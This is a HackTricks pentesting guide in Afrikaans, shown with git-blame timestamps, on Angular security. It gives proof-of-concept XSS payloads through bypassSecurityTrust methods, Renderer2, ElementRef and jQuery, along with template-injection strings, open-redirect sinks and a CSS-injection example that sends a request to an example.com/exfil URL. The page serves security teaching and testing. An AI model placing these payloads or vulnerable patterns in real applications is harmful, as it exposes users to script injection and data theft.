hacktricks/network-services-pentesting/pentesting-web/angular.md

598 lines
28 KiB
Markdown
Raw Normal View History

# Angular
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
## Die Kontrolelys
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
Kontrolelys [van hier](https://lsgeurope.com/post/angular-security-checklist).
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
* [ ] Angular word beskou as 'n kliëntkant-raamwerk en daar word nie verwag dat dit bedienerskant-beskerming sal bied nie
* [ ] Sourcemap vir skripte is gedeaktiveer in die projekkonfigurasie
* [ ] Onbetroubare gebruikersinsette word altyd geïnterpoleer of gesaniteer voordat dit in sjablone gebruik word
* [ ] Die gebruiker het geen beheer oor bedienerskant- of kliëntkant-sjablone nie
* [ ] Onbetroubare gebruikersinsette word gesaniteer deur 'n toepaslike sekuriteitskonteks voordat dit deur die toepassing vertrou word
* [ ] `BypassSecurity*`-metodes word nie gebruik met onbetroubare insette nie
* [ ] Onbetroubare gebruikersinsette word nie aan Angular-klasse soos `ElementRef`, `Renderer2` en `Document`, of ander JQuery/DOM-bronne oorgedra nie
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
## Wat is Angular
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
Angular is 'n **kragtige** en **open-source** front-end-raamwerk wat deur **Google** onderhou word. Dit gebruik **TypeScript** om koderingsleesbaarheid en foutopsporing te verbeter. Met sterk sekuriteitsmeganismes voorkom Angular algemene kliëntkant-veiligheidskwesbaarhede soos **XSS** en **open omleidings**. Dit kan ook aan die **bedienerskant** gebruik word, wat sekuriteitsoorwegings van **beide kante** belangrik maak.
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
## Raamwerkargitektuur
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
Om die basiese konsepte van Angular beter te verstaan, gaan ons deur sy essensiële konsepte.
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
'n Gewone Angular-projek lyk gewoonlik soos:
2023-08-14 11:58:56 +00:00
```bash
my-workspace/
├── ... #workspace-wide configuration files
├── src
│ ├── app
│ │ ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
│ │ ├── app.component.ts #defines the logic for the application's root component
│ │ ├── app.component.html #defines the HTML template associated with the root component
│ │ ├── app.component.css #defines the base CSS stylesheet for the root component
│ │ ├── app.component.spec.ts #defines a unit test for the root component
│ │ └── app-routing.module.ts #provides routing capability for the application
│ ├── lib
│ │ └── src #library-specific configuration files
│ ├── index.html #main HTML page, where the component will be rendered in
│ └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
```
2024-02-11 02:07:06 +00:00
Volgens die dokumentasie het elke Angular-toepassing ten minste een komponent, die hoofkomponent (`AppComponent`), wat 'n komponenthiërargie met die DOM verbind. Elke komponent definieer 'n klas wat toepassingsdata en logika bevat, en word geassosieer met 'n HTML-sjabloon wat 'n aansig definieer wat in 'n teikenomgewing vertoon moet word. Die `@Component()`-versierder identifiseer die klas onmiddellik daaronder as 'n komponent en voorsien die sjabloon en verwante komponentspesifieke metadata. Die `AppComponent` word in die `app.component.ts`-lêer gedefinieer.
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
Angular NgModules verklaar 'n samestellingskonteks vir 'n stel komponente wat toegewy is aan 'n toepassingsdomein, 'n werkstroom of 'n nou verwante stel vermoëns. Elke Angular-toepassing het 'n hoofmodule, konvensioneel genaamd `AppModule`, wat die opstartmeganisme verskaf wat die toepassing begin. 'n Toepassing bevat tipies baie funksionele modules. Die `AppModule` word in die `app.module.ts`-lêer gedefinieer.
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
Die Angular `Router` NgModule verskaf 'n diens wat jou in staat stel om 'n navigasiepad tussen die verskillende toepassingsstatusse en aanskouingshiërargieë in jou toepassing te definieer. Die `RouterModule` word in die `app-routing.module.ts`-lêer gedefinieer.
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
Vir data of logika wat nie met 'n spesifieke aansig geassosieer is nie en wat jy wil deel tussen komponente, skep jy 'n diensklas. 'n Diensklasdefinisie word onmiddellik deur die `@Injectable()`-versierder gevolg. Die versierder voorsien die metadata wat dit moontlik maak dat ander verskaffers as afhanklikhede in jou klas ingespuit kan word. Afhanklikheidsinspuiting (DI) stel jou in staat om jou komponentklasse slank en doeltreffend te hou. Hulle haal nie data van die bediener op, valideer gebruikersinsette nie, of log direk na die konsole nie; hulle delegeer sulke take aan dienste.
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
## Sourcemap-konfigurasie
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
Die Angular-raamwerk vertaal TypeScript-lêers na JavaScript-kode deur die `tsconfig.json`-opsies te volg en bou dan 'n projek met die `angular.json`-konfigurasie. Deur na die `angular.json`-lêer te kyk, het ons 'n opsie opgemerk om 'n sourcemap in of uit te skakel. Volgens die Angular-dokumentasie het die verstekkonfigurasie 'n sourcemap-lêer wat ingeskakel is vir skripte en nie standaard versteek is nie:
2023-08-14 11:58:56 +00:00
```json
"sourceMap": {
2024-02-11 02:07:06 +00:00
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
2023-08-14 11:58:56 +00:00
}
```
## Data binding
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
Binding verwys na die proses van kommunikasie tussen 'n komponent en sy ooreenstemmende weergawe. Dit word gebruik om data oor te dra na en van die Angular-raamwerk. Data kan deur verskillende middels oorgedra word, soos deur gebeure, interpolasie, eienskappe, of deur die tweerigtingbinding meganisme. Verder kan data ook gedeel word tussen verwante komponente (ouer-kind verhouding) en tussen twee onverwante komponente deur die gebruik van die Diens-funksie.
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
Ons kan binding klassifiseer volgens die data-vloei:
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
* Data-bron na weergawe-teiken (sluit interpolasie, eienskappe, eienskappe, klasse en style in); kan toegepas word deur `[]` of `{{}}` in die sjabloon te gebruik;
* Weergawe-teiken na data-bron (sluit gebeure in); kan toegepas word deur `()` in die sjabloon te gebruik;
* Tweerigting; kan toegepas word deur `[()]` in die sjabloon te gebruik.
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
Binding kan toegepas word op eienskappe, gebeure en eienskappe, sowel as op enige openbare lid van 'n bronrigting:
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
| SOORT | TEIKEN | VOORBEELDE |
| --------- | -------------------------------------------------------- | -------------------------------------------------------------------- |
2024-02-11 02:07:06 +00:00
| Eienskap | Elementeienskap, Komponenteienskap, Rigtingseienskap | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
| Gebeurtenis | Elementgebeurtenis, Komponentgebeurtenis, Rigtingsgebeurtenis | \<button type="button" (click)="onSave()">Save |
| Tweerigting | Gebeurtenis en eienskap | \<input \[(ngModel)]="name"> |
| Eienskap | Eienskap (die uitsondering) | \<button type="button" \[attr.aria-label]="help">help |
| Klas | klasse-eienskap | \<div \[class.special]="isSpecial">Special |
| Style | style-eienskap | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
## Angular-sekuriteitsmodel
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
Angular se ontwerp sluit in dat alle data standaard gekodeer of gesaniteer word, wat dit toenemend moeilik maak om XSS-gebreklikhede in Angular-projekte te ontdek en uit te buit. Daar is twee onderskeie scenario's vir die hantering van data:
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
1. Interpolasie of `{{user_input}}` - voer konteks-sensitiewe kodering uit en interpreteer gebruikersinvoer as teks;
2024-02-11 02:07:06 +00:00
```jsx
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";
2024-02-11 02:07:06 +00:00
//app.component.html
{{test}}
```
2024-02-11 02:07:06 +00:00
Resultaat: `&lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt;`
2. Binding aan eienskappe, eienskappe, klasse en style of `[attribute]="user_input"` - voer sanitisering uit op grond van die verskafte sekuriteitskonteks.
2024-02-11 02:07:06 +00:00
```jsx
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";
2024-02-11 02:07:06 +00:00
//app.component.html
<div [innerHtml]="test"></div>
```
2024-02-11 02:07:06 +00:00
Resultaat: `<div><h1>test</h1></div>`
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
Daar is 6 tipes `SecurityContext` :
2023-08-14 11:58:56 +00:00
* `None`;
2024-02-11 02:07:06 +00:00
* `HTML` word gebruik wanneer die waarde as HTML geïnterpreteer word;
* `STYLE` word gebruik wanneer CSS aan die `style`-eienskap gebind word;
* `URL` word gebruik vir URL-eienskappe, soos `<a href>`;
* `SCRIPT` word gebruik vir JavaScript-kode;
* `RESOURCE_URL` as 'n URL wat gelaai en uitgevoer word as kode, byvoorbeeld in `<script src>`.
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
## Gebreke
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
### Omseilingsmetodes vir sekuriteitstroue
2024-02-11 02:07:06 +00:00
Angular stel 'n lys metodes bekend om sy verstek-sanitiseringproses te omseil en aan te dui dat 'n waarde veilig in 'n spesifieke konteks gebruik kan word, soos in die volgende vyf voorbeelde:
2024-02-11 02:07:06 +00:00
1. `bypassSecurityTrustUrl` word gebruik om aan te dui dat die gegewe waarde 'n veilige styl-URL is:
2024-02-11 02:07:06 +00:00
```jsx
//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');
2024-02-11 02:07:06 +00:00
//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Click me</a>
2024-02-11 02:07:06 +00:00
//resultaat
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a>
```
2. `bypassSecurityTrustResourceUrl` word gebruik om aan te dui dat die gegewe waarde 'n veilige bron-URL is:
2024-02-11 02:07:06 +00:00
```jsx
//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");
2024-02-11 02:07:06 +00:00
//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>
2024-02-11 02:07:06 +00:00
//resultaat
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
```
3. `bypassSecurityTrustHtml` word gebruik om aan te dui dat die gegewe waarde veilige HTML is. Let daarop dat die invoeging van `script`-elemente op hierdie manier in die DOM-boom nie sal veroorsaak dat die ingeslote JavaScript-kode uitgevoer word nie, as gevolg van hoe hierdie elemente by die DOM-boom gevoeg word.
2024-02-11 02:07:06 +00:00
```jsx
//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
//resultaat
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
```
4. `bypassSecurityTrustScript` word gebruik om aan te dui dat die gegewe waarde veilige JavaScript is. Ons het egter gevind dat die gedrag onvoorspelbaar is, omdat ons nie JS-kode in sjablone kon uitvoer met behulp van hierdie metode nie.
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
```jsx
//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
//app.component.html
<script [innerHtml]="trustedScript"></script>
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
//resultaat
-
```
5. `bypassSecurityTrustStyle` word gebruik om aan te dui dat die gegewe waarde veilige CSS is. Die volgende voorbeeld illustreer CSS-injeksie:
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
```jsx
//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
//resultaat
Versoek-URL: GET example.com/exfil/a
```
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
Angular bied 'n `sanitize`-metode om data te saniteer voordat dit in weergawes vertoon word. Hierdie metode maak gebruik van die verskafte sekuriteitskonteks en skoonmaak die insette dienooreenkomstig. Dit is egter noodsaaklik om die korrekte sekuriteitskonteks vir die spesifieke data en konteks te gebruik. Byvoorbeeld, die toepassing van 'n saniteerder met `SecurityContext.URL` op HTML-inhoud bied nie beskerming teen gevaarlike HTML-waardes nie. In sulke scenario's kan misbruik van die sekuriteitskonteks lei tot XSS-gebreklikhede.
### HTML-inspuiting
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
Hierdie kwesbaarheid kom voor wanneer gebruikersinvoer gekoppel is aan enige van die drie eienskappe: `innerHTML`, `outerHTML`, of `iframe` `srcdoc`. Terwyl dit aan hierdie eienskappe gekoppel word, interpreteer dit HTML soos dit is, maar die invoer word gesaniteer met behulp van `SecurityContext.HTML`. Dus is HTML-inspuiting moontlik, maar kruiswebklets (XSS) nie.
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
Voorbeeld van die gebruik van `innerHTML`:
2023-08-14 11:58:56 +00:00
```jsx
//app.component.ts
import { Component} from '@angular/core';
@Component({
2024-02-11 02:07:06 +00:00
selector: 'app-root',
templateUrl: './app.component.html'
2023-08-14 11:58:56 +00:00
})
export class AppComponent{
2024-02-11 02:07:06 +00:00
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
2023-08-14 11:58:56 +00:00
}
//app.component.html
<div [innerHTML]="test"></div>
```
2024-02-11 02:07:06 +00:00
Die resultaat is `<div><h1>toets</h1></div>`.
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
### Sjablooninspuiting
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
#### Kliëntkant-rendering (CSR)
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
Angular maak gebruik van sjablone om bladsye dinamies te konstrueer. Die benadering behels die omhulling van sjabloonuitdrukkings vir Angular om te evalueer binne dubbele krulhakies (`{{}}`). Op hierdie manier bied die raamwerk addisionele funksionaliteit. Byvoorbeeld, 'n sjabloon soos `{{1+1}}` sal as 2 vertoon.
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
Gewoonlik ontsnap Angular gebruikersinvoer wat verwar kan word met sjabloonuitdrukkings (bv. karakters soos \`< > ' " \`\`). Dit beteken dat addisionele stappe nodig is om hierdie beperking te omseil, soos die gebruik van funksies wat JavaScript-stringobjekte genereer om te vermy dat verbode karakters gebruik word. Om dit egter te bereik, moet ons die Angular-konteks, sy eienskappe en veranderlikes in ag neem. Daarom kan 'n sjablooninspuitingsaanval soos volg lyk:
2023-08-14 11:58:56 +00:00
```jsx
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
2024-02-11 02:07:06 +00:00
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
2023-08-14 11:58:56 +00:00
})
```
2024-02-11 02:07:06 +00:00
Soos hierbo getoon: `constructor` verwys na die omvang van die Objek `constructor` eienskap, wat ons in staat stel om die String constructor aan te roep en willekeurige kode uit te voer.
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
#### Bedienerkant-rendering (SSR)
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
In teenstelling met CSR, wat in die blaaier se DOM plaasvind, is Angular Universal verantwoordelik vir die SSR van sjabloondokumente. Hierdie dokumente word dan aan die gebruiker afgelewer. Ten spyte van hierdie onderskeid, pas Angular Universal dieselfde sanitiseringsmeganismes toe wat in CSR gebruik word om die veiligheid van SSR te verbeter. 'n Sjablooninspuitingskwesbaarheid in SSR kan op dieselfde manier soos in CSR opgespoor word, omdat dieselfde sjabloon taal gebruik word.
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
Natuurlik is daar ook 'n moontlikheid om nuwe sjablooninspuitingskwesbaarhede in te voer wanneer derdeparty-sjabloon-enjins soos Pug en Handlebars gebruik word.
2023-08-14 11:58:56 +00:00
### XSS
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
#### DOM-koppelvlakke
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
Soos voorheen genoem, kan ons direk toegang tot die DOM verkry deur die _Document_ koppelvlak te gebruik. As gebruikersinvoer nie vooraf gevalideer word nie, kan dit lei tot kruissite-skripsing (XSS) kwesbaarhede.
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
Ons het die `document.write()` en `document.createElement()` metodes in die onderstaande voorbeelde gebruik:
2023-08-14 11:58:56 +00:00
```jsx
//app.component.ts 1
import { Component} from '@angular/core';
@Component({
2024-02-11 02:07:06 +00:00
selector: 'app-root',
template: ''
2023-08-14 11:58:56 +00:00
})
export class AppComponent{
2024-02-11 02:07:06 +00:00
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
2023-08-14 11:58:56 +00:00
}
//app.component.ts 2
import { Component} from '@angular/core';
@Component({
2024-02-11 02:07:06 +00:00
selector: 'app-root',
template: ''
2023-08-14 11:58:56 +00:00
})
export class AppComponent{
2024-02-11 02:07:06 +00:00
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
2023-08-14 11:58:56 +00:00
}
//app.component.ts 3
import { Component} from '@angular/core';
@Component({
2024-02-11 02:07:06 +00:00
selector: 'app-root',
template: ''
2023-08-14 11:58:56 +00:00
})
export class AppComponent{
2024-02-11 02:07:06 +00:00
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
2023-08-14 11:58:56 +00:00
}
```
2024-02-11 02:07:06 +00:00
#### Angular klasse
Daar is 'n paar klasse wat gebruik kan word om met DOM-elemente in Angular te werk: `ElementRef`, `Renderer2`, `Location` en `Document`. 'n Gedetailleerde beskrywing van die laaste twee klasse word gegee in die **Open omleidings** afdeling. Die grootste verskil tussen die eerste twee is dat die `Renderer2` API 'n abstraksie-laag tussen die DOM-element en die komponent-kode verskaf, terwyl `ElementRef` net 'n verwysing na die element bevat. Daarom moet die `ElementRef` API volgens die Angular-dokumentasie slegs as 'n laaste uitweg gebruik word wanneer direkte toegang tot die DOM benodig word.
* `ElementRef` bevat die eienskap `nativeElement`, wat gebruik kan word om die DOM-elemente te manipuleer. Onvanpaste gebruik van `nativeElement` kan egter lei tot 'n XSS-injeksiekwesbaarheid, soos hieronder getoon:
```tsx
//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
```
* Ten spyte van die feit dat `Renderer2` API verskaf wat veilig gebruik kan word selfs wanneer direkte toegang tot inheemse elemente nie ondersteun word nie, het dit steeds sekuriteitsgebreke. Met `Renderer2` is dit moontlik om eienskappe op 'n HTML-element in te stel deur die `setAttribute()` metode te gebruik, wat geen XSS-voorkomingsmeganismes het nie.
```tsx
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;
addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}
//app.component.html
<img #img>
<button (click)="setAttribute()">Kliek hier!</button>
```
* Om die eienskap van 'n DOM-element in te stel, kan jy die `Renderer2.setProperty()` metode gebruik en 'n XSS-aanval veroorsaak:
```tsx
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;
setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}
//app.component.html
<a #a></a>
<button (click)="setProperty()">Kliek hier!</button>
```
Tydens ons navorsing het ons ook die gedrag van ander `Renderer2` metodes, soos `setStyle()`, `createComment()` en `setValue()`, in verband met XSS- en CSS-injeksies ondersoek. Ons kon egter geen geldige aanvalsvektore vir hierdie metodes vind as gevolg van hul funksionele beperkings nie.
2023-08-14 11:58:56 +00:00
#### jQuery
2023-08-14 11:58:56 +00:00
2024-02-11 02:07:06 +00:00
jQuery is 'n vinnige, klein en funksierike JavaScript-biblioteek wat in die Angular-projek gebruik kan word om te help met die manipulasie van die HTML DOM-voorwerpe. Dit is egter bekend dat hierdie biblioteek se metodes uitgebuit kan word om 'n XSS-kwesbaarheid te bereik. Om te bespreek hoe sommige kwesbare jQuery-metodes in Angular-projekte uitgebuit kan word, het ons hierdie subafdeling bygevoeg.
* Die `html()` metode kry die HTML-inhoud van die eerste element in die stel van ooreenstemmende elemente of stel die HTML-inhoud van elke ooreenstemmende element. Tog kan enige jQuery-konstrukteur of -metode wat 'n HTML-string aanvaar, potensieel kode uitvoer. Dit kan gebeur deur die inspuiting van `<script>`-etikette of die gebruik van HTML-eienskappe wat kode uitvoer, soos in die voorbeeld getoon.
```tsx
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}
//app.component.html
<button>Kliek hier</button>
<p>iets teks hier</p>
```
* Die `jQuery.parseHTML()` metode gebruik inheemse metodes om die string na 'n stel DOM-node om te skakel, wat dan in die dokument ingevoeg kan word.
```tsx
jQuery.parseHTML(data [, context ] [, keepScripts ])
```
Soos voorheen genoem, sal die meeste jQuery-API's wat HTML-strings aanvaar, skripte uitvoer wat in die HTML ingesluit is. Die `jQuery.parseHTML()` metode voer nie skripte in die geparseerde HTML uit tensy `keepScripts` uitdruklik `true` is nie. Dit is egter steeds moontlik om in die meeste omgewings skripte indirek uit te voer; byvoorbeeld via die `<img onerror>`-eienheid.
```tsx
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}
//app.component.html
<button>Kliek hier</button>
<p id="palias">iets teks</p>
```
### Oop omleidings
#### DOM-koppelvlakke
Volgens die W3C-dokumentasie word die `window.location` en `document.location` voorwerpe as aliase in moderne webblaaier behandel. Dit is waarom hulle soortgelyke implementering van sommige metodes en eienskappe het, wat 'n oop omleiding en DOM XSS met `javascript://`-skema-aanvalle kan veroorsaak, soos hieronder genoem.
* `window.location.href`(en `document.location.href`)
Die kanonieke manier om die huidige DOM-plekvoorwerp te kry, is deur `window.location` te gebruik. Dit kan ook gebruik word om die blaaier na 'n nuwe bladsy om te lei. As gevolg hiervan stel die beheer oor hierdie voorwerp ons in staat om 'n oop omleiding-kwesbaarheid uit te buit.
```tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}
//app.component.html
<button type="button" (click)="goToUrl()">Kliek hier!</button>
```
Die uitbuitingsproses is identies vir die volgende scenario's.
* `window.location.assign()`(en `document.location.assign()`)
Hierdie metode veroorsaak dat die venster die dokument by die gespesifiseerde URL laai en vertoon. As ons beheer oor hierdie metode het, kan dit 'n put wees vir 'n oop omleiding-aanval.
```tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
```
* `window.location.replace()`(en `document.location.replace()`)
Hierdie metode vervang die huidige bron met die een by die verskafte URL.
Die verskil tussen hierdie metode en die `assign()`-metode is dat nadat `window.location.replace()` gebruik is, sal die huidige bladsy nie in die sessiegeskiedenis gestoor word nie. Dit is egter ook moontlik om 'n oop omleiding-kwesbaarheid uit te buit wanneer ons beheer oor hierdie metode het.
```tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
```
* `window.open()`
2024-02-11 02:07:06 +00:00
Die `window.open()`-metode neem 'n URL en laai die bron wat dit identifiseer in 'n nuwe of bestaande oortjie of venster. Beheer oor hierdie metode kan ook 'n geleentheid wees om 'n XSS- of oop omleiding-kwesbaarheid te veroorsaak.
```tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}
```
#### Angular klasse
* Volgens die Angular-dokumentasie is die Angular `Document` dieselfde as die DOM-dokument, wat beteken dat dit moontlik is om algemene vektore vir die DOM-dokument te gebruik om kliëntkant kwesbaarhede in die Angular uit te buit. `Document.location` eienskappe en metodes kan moontlike sinks wees vir suksesvolle oop omleidingsaanvalle, soos in die voorbeeld getoon:
```tsx
//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }
goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}
//app.component.html
<button type="button" (click)="goToUrl()">Kliek hier!</button>
```
* Tydens die navorsingsfase het ons ook die Angular `Location`-klas vir oop omleidingskwesbaarhede nagegaan, maar geen geldige vektore is gevind nie. `Location` is 'n Angular-diens wat programme kan gebruik om met die huidige URL van 'n blaaier te kommunikeer. Hierdie diens het verskeie metodes om die gegewe URL te manipuleer - `go()`, `replaceState()` en `prepareExternalUrl()`. Ons kan hulle egter nie gebruik vir omleiding na 'n eksterne domein nie. Byvoorbeeld:
```tsx
//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}
```
Resultaat: `http://localhost:4200/http://google.com/about`
* Die Angular `Router`-klas word hoofsaaklik gebruik vir navigasie binne dieselfde domein en voeg geen addisionele kwesbaarhede tot die toepassing by nie:
```jsx
//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]
```
Resultaat: `http://localhost:4200/https:`
Die volgende metodes navigeer ook binne die omvang van die domein:
```jsx
const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')
```
## Verwysings
* [Angular](https://angular.io/)
2024-02-11 02:07:06 +00:00
* [Angular Security: The Definitive Guide (Deel 1)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-1)
* [Angular Security: The Definitive Guide (Deel 2)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-2)
* [Angular Security: The Definitive Guide (Deel 3)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-3)
* [Angular Security: Checklist](https://lsgeurope.com/post/angular-security-checklist)
2024-02-11 02:07:06 +00:00
* [Workspace en projeklêerstruktuur](https://angular.io/guide/file-structure)
* [Inleiding tot komponente en sjablone](https://angular.io/guide/architecture-components)
* [Bronkaartkonfigurasie](https://angular.io/guide/workspace-config#source-map-configuration)
* [Binding sintaksis](https://angular.io/guide/binding-syntax)
* [Angular-konteks: Maklike data-binding vir geneste komponentbome en die Router Outlet](https://medium.com/angular-in-depth/angular-context-easy-data-binding-for-nested-component-trees-and-the-router-outlet-a977efacd48)
* [Sanitisering en sekuriteitskontekste](https://angular.io/guide/security#sanitization-and-security-contexts)
* [GitHub - angular/dom\_security\_schema.ts](https://github.com/angular/angular/blob/main/packages/compiler/src/schema/dom\_security\_schema.ts)
2024-02-11 02:07:06 +00:00
* [XSS in Angular en AngularJS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)
* [Angular Universal](https://angular.io/guide/universal)
* [DOM XSS](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-xss)
* [Angular ElementRef](https://angular.io/api/core/ElementRef)
